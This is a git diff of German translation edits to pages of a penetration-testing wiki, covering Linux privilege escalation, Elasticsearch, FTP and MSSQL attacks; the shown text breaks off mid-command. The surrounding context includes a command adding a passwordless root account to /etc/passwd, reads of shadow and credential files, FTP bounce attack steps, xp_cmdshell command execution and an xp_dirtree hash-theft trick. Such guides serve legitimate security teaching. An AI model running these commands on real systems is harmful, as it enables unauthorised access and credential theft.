+1151,17 @@ Diese Konfiguration zeigt an, dass, wenn Sie versuchen, sich mit dem **privaten* ### ForwardAgent/AllowAgentForwarding -SSH-Agent-Weiterleitung ermöglicht es Ihnen, **Ihre lokalen SSH-Schlüssel zu verwenden, anstatt Schlüssel** (ohne Passwörter!) auf Ihrem Server zu lassen. So können Sie **via ssh zu einem Host springen** und von dort **zu einem anderen** Host **springen, indem Sie** den **Schlüssel** verwenden, der sich auf Ihrem **ursprünglichen Host** befindet. +SSH-Agent-Weiterleitung ermöglicht es Ihnen, **Ihre lokalen SSH-Schlüssel zu verwenden, anstatt Schlüssel** (ohne Passphrasen!) auf Ihrem Server zu belassen. So können Sie **via ssh zu einem Host springen** und von dort **zu einem anderen** Host **springen, indem Sie** den **Schlüssel** verwenden, der sich auf Ihrem **ursprünglichen Host** befindet. Sie müssen diese Option in `$HOME/.ssh.config` wie folgt festlegen: ``` Host example.com ForwardAgent yes ``` -Beachten Sie, dass wenn `Host` `*` ist, jedes Mal, wenn der Benutzer zu einer anderen Maschine wechselt, dieser Host Zugriff auf die Schlüssel haben wird (was ein Sicherheitsproblem darstellt). +Beachten Sie, dass wenn `Host` `*` ist, der Benutzer jedes Mal, wenn er zu einer anderen Maschine wechselt, auf die Schlüssel zugreifen kann (was ein Sicherheitsproblem darstellt). Die Datei `/etc/ssh_config` kann diese **Optionen** **überschreiben** und diese Konfiguration erlauben oder verweigern.\ -Die Datei `/etc/sshd_config` kann das Weiterleiten des ssh-agents mit dem Schlüsselwort `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist erlauben). +Die Datei `/etc/sshd_config` kann das Weiterleiten des ssh-agent mit dem Schlüsselwort `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist erlauben). Wenn Sie feststellen, dass der Forward Agent in einer Umgebung konfiguriert ist, lesen Sie die folgende Seite, da **Sie möglicherweise in der Lage sind, dies auszunutzen, um Privilegien zu eskalieren**: @@ -1173,11 +1173,11 @@ ssh-forward-agent-exploitation.md ### Profil-Dateien -Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn Sie **eine von ihnen schreiben oder ändern können, können Sie Privilegien eskalieren**. +Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher können Sie, wenn Sie **eine von ihnen schreiben oder ändern können, Privilegien eskalieren**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Wenn ein seltsames Profil-Skript gefunden wird, sollten Sie es auf **sensible Details** überprüfen. +Wenn ein seltsames Profilskript gefunden wird, sollten Sie es auf **sensible Details** überprüfen. ### Passwd/Shadow-Dateien @@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In einigen Fällen können Sie **Passworthashes** in der Datei `/etc/passwd` (oder einer entsprechenden Datei) finden. +In einigen Fällen können Sie **Passwort-Hashes** in der Datei `/etc/passwd` (oder einer entsprechenden Datei) finden. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1214,7 +1214,7 @@ WARNUNG: Sie könnten die aktuelle Sicherheit der Maschine beeinträchtigen. echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` unter `/etc/pwd.db` und `/etc/master.passwd`, außerdem wird `/etc/shadow` in `/etc/spwd.db` umbenannt. +HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` in `/etc/pwd.db` und `/etc/master.passwd`, außerdem wird `/etc/shadow` in `/etc/spwd.db` umbenannt. Sie sollten überprüfen, ob Sie **in einige sensible Dateien schreiben können**. Zum Beispiel, können Sie in eine **Dienstkonfigurationsdatei** schreiben? ```bash @@ -1292,7 +1292,7 @@ Lesen Sie den Code von [**linPEAS**](https://github.com/carlospolop/privilege-es ### Protokolle Wenn Sie Protokolle lesen können, könnten Sie **interessante/vertrauliche Informationen darin finden**. Je seltsamer das Protokoll ist, desto interessanter wird es sein (wahrscheinlich).\ -Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Außerdem könnten einige "**schlecht**" konfigurierten (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1336,7 +1336,7 @@ Detailliertere Informationen über die Schwachstelle finden Sie auf dieser Seite Sie können diese Schwachstelle mit [**logrotten**](https://github.com/whotwagner/logrotten) ausnutzen. -Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx-Logs),** also überprüfen Sie immer, ob Sie Protokolle ändern können, wer diese Protokolle verwaltet und ob Sie die Berechtigungen erhöhen können, indem Sie die Protokolle durch Symlinks ersetzen. +Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx-Logs),** daher sollten Sie immer, wenn Sie feststellen, dass Sie Protokolle ändern können, überprüfen, wer diese Protokolle verwaltet, und prüfen, ob Sie die Berechtigungen erhöhen können, indem Sie die Protokolle durch Symlinks ersetzen. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1393,7 +1393,7 @@ cisco-vmanage.md ## Linux/Unix Privesc-Tools -### **Das beste Tool zur Suche nach lokalen Privilegieneskalationsvektoren in Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Bestes Tool zur Suche nach lokalen Privilegieneskalationsvektoren in Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t Option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1403,19 +1403,19 @@ cisco-vmanage.md **Kernelpop:** Enumeriert Kernel-Schwachstellen in Linux und MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physischer Zugriff):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**EvilAbigail (physischer Zugang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Zusammenstellung weiterer Skripte**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referenzen -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 50ca9758e..5541955c9 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,7 +4,7 @@ ## Grundinformationen -Elasticsearch ist eine **verteilte**, **Open Source** Such- und Analyse-Engine für **alle Arten von Daten**. Es ist bekannt für seine **Geschwindigkeit**, **Skalierbarkeit** und **einfachen REST-APIs**. Basierend auf Apache Lucene wurde es erstmals 2010 von Elasticsearch N.V. (jetzt bekannt als Elastic) veröffentlicht. Elasticsearch ist der Kernbestandteil des Elastic Stack, einer Sammlung von Open Source-Tools für Datenaufnahme, -anreicherung, -speicherung, -analyse und -visualisierung. Dieser Stack, der allgemein als ELK Stack bezeichnet wird, umfasst auch Logstash und Kibana und hat jetzt leichte Datenversandagenten namens Beats. +Elasticsearch ist eine **verteilte**, **Open Source** Such- und Analyse-Engine für **alle Arten von Daten**. Es ist bekannt für seine **Geschwindigkeit**, **Skalierbarkeit** und **einfachen REST-APIs**. Basierend auf Apache Lucene wurde es erstmals 2010 von Elasticsearch N.V. (jetzt bekannt als Elastic) veröffentlicht. Elasticsearch ist der Kernbestandteil des Elastic Stack, einer Sammlung von Open Source-Tools für Datenaufnahme, -anreicherung, -speicherung, -analyse und -visualisierung. Dieser Stack, allgemein als ELK Stack bezeichnet, umfasst auch Logstash und Kibana und hat jetzt leichte Datenversandagenten namens Beats. ### Was ist ein Elasticsearch-Index? @@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Das bedeutet, dass die Authentifizierung konfiguriert ist und **Sie gültige Anmeldeinformationen benötigen**, um Informationen von Elasticsearch zu erhalten. Dann können Sie [**versuchen, es zu bruteforcen**](../generic-hacking/brute-force.md#elasticsearch) (es verwendet HTTP Basic Auth, daher kann alles, was BF HTTP Basic Auth kann, verwendet werden).\ +Das bedeutet, dass die Authentifizierung konfiguriert ist und **gültige Anmeldeinformationen** benötigt werden, um Informationen von Elasticsearch zu erhalten. Dann können Sie [**versuchen, es zu bruteforcen**](../generic-hacking/brute-force.md#elasticsearch) (es verwendet HTTP Basic Auth, daher kann alles, was BF HTTP Basic Auth kann, verwendet werden).\ Hier haben Sie eine **Liste der Standardbenutzernamen**: _**elastic** (Superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Ältere Versionen von Elasticsearch haben das Standardpasswort **changeme** für diesen Benutzer. ``` curl -X GET http://user:password@IP:9200/ @@ -86,7 +86,7 @@ Hier sind einige Endpunkte, die Sie **über GET** **zugreifen können**, um eini | /\_cat/nodeattrs | | | | /\_cat/nodes | | | -Diese Endpunkte wurden [**aus der Dokumentation entnommen**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html), wo Sie **mehr finden**.\ +Diese Endpunkte wurden [**aus der Dokumentation entnommen**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html), wo Sie **mehr** finden können.\ Wenn Sie `/_cat` aufrufen, enthält die Antwort die unterstützten `/_cat/*` Endpunkte der Instanz. In `/_security/user` (wenn Authentifizierung aktiviert ist) können Sie sehen, welcher Benutzer die Rolle `superuser` hat. @@ -110,11 +110,11 @@ Wenn Sie **alle Inhalte** eines Index dumpen möchten, können Sie auf: `http:// ![](<../images/image (914).png>) -_Nehmen Sie sich einen Moment Zeit, um die Inhalte jedes Dokuments (Eintrag) im Bankindex und die Felder dieses Index, die wir im vorherigen Abschnitt gesehen haben, zu vergleichen._ +_Nehmen Sie sich einen Moment Zeit, um die Inhalte jedes Dokuments (Eintrag) im Bank-Index und die Felder dieses Index, die wir im vorherigen Abschnitt gesehen haben, zu vergleichen._ -Zu diesem Zeitpunkt könnten Sie bemerken, dass **es ein Feld namens "total" innerhalb von "hits" gibt**, das anzeigt, dass **1000 Dokumente gefunden wurden** in diesem Index, aber nur 10 abgerufen wurden. Dies liegt daran, dass **standardmäßig eine Begrenzung von 10 Dokumenten besteht**.\ +Zu diesem Zeitpunkt könnten Sie bemerken, dass **es ein Feld namens "total" innerhalb von "hits" gibt**, das anzeigt, dass **1000 Dokumente gefunden wurden** in diesem Index, aber nur 10 zurückgegeben wurden. Das liegt daran, dass **standardmäßig eine Begrenzung von 10 Dokumenten besteht**.\ Aber jetzt, da Sie wissen, dass **dieser Index 1000 Dokumente enthält**, können Sie **alle dumpen**, indem Sie die Anzahl der Einträge, die Sie dumpen möchten, im **`size`**-Parameter angeben: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Hinweis: Wenn Sie eine größere Zahl angeben, werden trotzdem alle Einträge gedumpt, zum Beispiel könnten Sie `size=9999` angeben und es wäre seltsam, wenn es mehr Einträge gäbe (aber das sollten Sie überprüfen)._ +\_Hinweis: Wenn Sie eine größere Zahl angeben, werden trotzdem alle Einträge dumpen, zum Beispiel könnten Sie `size=9999` angeben und es wäre seltsam, wenn es mehr Einträge gäbe (aber das sollten Sie überprüfen)._ ### Alles dumpen diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 3ace6ce9c..28e520634 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -5,7 +5,7 @@ ## Grundlegende Informationen Das **File Transfer Protocol (FTP)** dient als Standardprotokoll für den Dateitransfer über ein Computernetzwerk zwischen einem Server und einem Client.\ -Es ist ein **Plain-Text**-Protokoll, das als **Zeilenumbruchzeichen `0x0d 0x0a`** verwendet, daher müssen Sie manchmal **mit `telnet`** oder **`nc -C`** verbinden. +Es ist ein **Klartext**-Protokoll, das als **Zeilenumbruchzeichen `0x0d 0x0a`** verwendet wird, daher müssen Sie manchmal **mit `telnet`** oder **`nc -C`** verbinden. **Standardport:** 21 ``` @@ -14,11 +14,11 @@ PORT STATE SERVICE ``` ### Verbindungen Aktiv & Passiv -In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP-**Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients. +In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP **Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients. -Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist Passives FTP. +Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist passives FTP. -In **Passivem FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv-Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers. +In **Passiv FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv-Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers. Quelle: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) @@ -33,7 +33,7 @@ Die **FTP**-Befehle **`debug`** und **`trace`** können verwendet werden, um zu nc -vn 21 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any ``` -### Mit StartTLS zu FTP verbinden +### Mit STARTTLS zu FTP verbinden ``` lftp lftp :~> set ftp:ssl-force true @@ -88,8 +88,8 @@ STAT ### Anonymer Login _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -128,54 +128,54 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ ``` ## Einige FTP-Befehle -- **`USER benutzername`** -- **`PASS passwort`** +- **`USER username`** +- **`PASS password`** - **`HELP`** Der Server zeigt an, welche Befehle unterstützt werden -- **`PORT 127,0,0,1,0,80`** Dies weist den FTP-Server an, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_du musst das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_). +- **`PORT 127,0,0,1,0,80`** Dies weist den FTP-Server an, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_Sie müssen das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_). - **`EPRT |2|127.0.0.1|80|`** Dies weist den FTP-Server an, eine TCP-Verbindung (_angezeigt durch "2"_) mit der IP 127.0.0.1 an Port 80 herzustellen. Dieser Befehl **unterstützt IPv6**. - **`LIST`** Dies sendet die Liste der Dateien im aktuellen Ordner - **`LIST -R`** Liste rekursiv (wenn vom Server erlaubt) - **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in einer Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt. -- **`STOR /path/something.txt`** Wie `APPE`, aber es wird die Datei überschreiben +- **`STOR /path/something.txt`** Wie `APPE`, aber es überschreibt die Dateien - **`STOU /path/something.txt`** Wie `APPE`, aber wenn sie existiert, wird nichts unternommen. - **`RETR /path/to/file`** Eine passive oder eine Portverbindung muss hergestellt werden. Dann sendet der FTP-Server die angegebene Datei über diese Verbindung - **`REST 6`** Dies weist den Server an, dass er beim nächsten Mal, wenn er etwas mit `RETR` sendet, im 6. Byte beginnen soll. -- **`TYPE i`** Setze den Transfer auf binär +- **`TYPE i`** Setzt die Übertragung auf binär - **`PASV`** Dies öffnet eine passive Verbindung und zeigt dem Benutzer, wo er sich verbinden kann -- **`PUT /tmp/file.txt`** Lade die angegebene Datei auf den FTP hoch +- **`PUT /tmp/file.txt`** Lädt die angegebene Datei auf den FTP hoch ![](<../../images/image (386).png>) ## FTPBounce-Angriff -Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass du dich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchtest. Dann kannst du dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind. +Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server geöffnet sind. [**Hier lernen, wie man einen FTP-Server missbraucht, um Ports zu scannen.**](ftp-bounce-attack.md) -Du könntest dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Du könntest **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\ +Sie könnten dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Sie könnten **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\ Die Theorie ist einfach: -1. **Lade die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denk daran, dass du, wenn du mit einem anderen HTTP- oder FTP-Server kommunizieren möchtest, die Zeilen mit `0x0d 0x0a` ändern musst. -2. **Verwende `REST X`, um zu vermeiden, die Zeichen zu senden, die du nicht senden möchtest** (vielleicht musstest du, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen) -3. **Verwende `PORT`, um dich mit dem beliebigen Server und Dienst zu verbinden** -4. **Verwende `RETR`, um die gespeicherte Anfrage an den Server zu senden.** +1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen. +2. **Verwenden Sie `REST X`, um zu vermeiden, die Zeichen zu senden, die Sie nicht senden möchten** (vielleicht mussten Sie, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen). +3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden.** +4. **Verwenden Sie `RETR`, um die gespeicherte Anfrage an den Server zu senden.** -Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um das zu vermeiden, sind: +Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um dies zu vermeiden, sind: -- Wenn du eine HTTP-Anfrage sendest, **setze die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So: +- Wenn Sie eine HTTP-Anfrage senden, **setzen Sie die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So: {{#file}} posts.txt {{#endfile}} -- Versuche, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn du mit FTP sprichst, vielleicht nur Junk-Befehle oder wiederhole die `RETR`-Anweisung, um die Datei zu erhalten) -- Fülle die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)** +- Versuchen Sie, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn Sie mit FTP sprechen, vielleicht nur Junk-Befehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten). +- Füllen Sie die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**. -Wie auch immer, hier hast du ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md) +Wie auch immer, hier haben Sie ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md) ## Filezilla-Server-Sicherheitsanfälligkeit -**FileZilla** bindet normalerweise **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn du einen **Tunnel** von **deinem Rechner** zu diesem Port erstellen kannst, kannst du dich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen. +**FileZilla** bindet normalerweise einen **administrativen Dienst** für den **FileZilla-Server** (Port 14147) an **lokal**. Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen. ## Konfigurationsdateien ``` diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 656e8e8c7..df811ca0e 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** ist ein **relationales Datenbank**-Managementsystem, das von Microsoft entwickelt wurde. Als Datenbankserver ist es ein Softwareprodukt mit der Hauptfunktion, Daten zu speichern und abzurufen, wie von anderen Softwareanwendungen angefordert—die entweder auf demselben Computer oder auf einem anderen Computer über ein Netzwerk (einschließlich des Internets) ausgeführt werden können.\\ +> **Microsoft SQL Server** ist ein **relationales Datenbank**-Managementsystem, das von Microsoft entwickelt wurde. Als Datenbankserver ist es ein Softwareprodukt mit der Hauptfunktion, Daten zu speichern und abzurufen, wie von anderen Softwareanwendungen angefordert—die entweder auf demselben Computer oder auf einem anderen Computer über ein Netzwerk (einschließlich des Internets) ausgeführt werden können. **Standardport:** 1433 ``` @@ -17,7 +17,7 @@ Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL Server-Instanz erfasst. - **msdb-Datenbank**: Der SQL Server-Agent nutzt diese Datenbank zur Verwaltung der Planung von Warnungen und Jobs. - **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden. -- **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte, obwohl physisch in der Resource-Datenbank gespeichert, werden logisch im sys-Schema jeder Datenbank präsentiert. +- **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte werden physisch in der Resource-Datenbank gespeichert, sind jedoch logisch im sys-Schema jeder Datenbank dargestellt. - **tempdb-Datenbank**: Dient als temporärer Speicherbereich für flüchtige Objekte oder Zwischenresultate. ## Aufzählung @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### OS-Befehle ausführen > [!CAUTION] -> Beachten Sie, dass es erforderlich ist, **`xp_cmdshell`** **aktiviert** zu haben, um Befehle ausführen zu können, und auch die **EXECUTE-Berechtigung für das `xp_cmdshell`-Stored Procedure** zu besitzen. Sie können herausfinden, wer (außer Sysadmins) **`xp_cmdshell`** verwenden kann, mit: +> Beachten Sie, dass es erforderlich ist, **`xp_cmdshell`** **aktiviert** zu haben, um Befehle ausführen zu können, und auch die **EXECUTE-Berechtigung für das `xp_cmdshell`-Stored Procedure** zu besitzen. Sie können herausfinden, wer (außer Sysadmins) **`xp_cmdshell`** verwenden kann mit: > > ```sql > Use master @@ -236,7 +236,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "c ``` ### NetNTLM-Hash stehlen / Relay-Angriff -Sie sollten einen **SMB-Server** starten, um den bei der Authentifizierung verwendeten Hash zu erfassen (`impacket-smbserver` oder `responder` zum Beispiel). +Sie sollten einen **SMB-Server** starten, um den Hash zu erfassen, der bei der Authentifizierung verwendet wird (`impacket-smbserver` oder `responder` zum Beispiel). ```bash xp_dirtree '\\\any\thing' exec 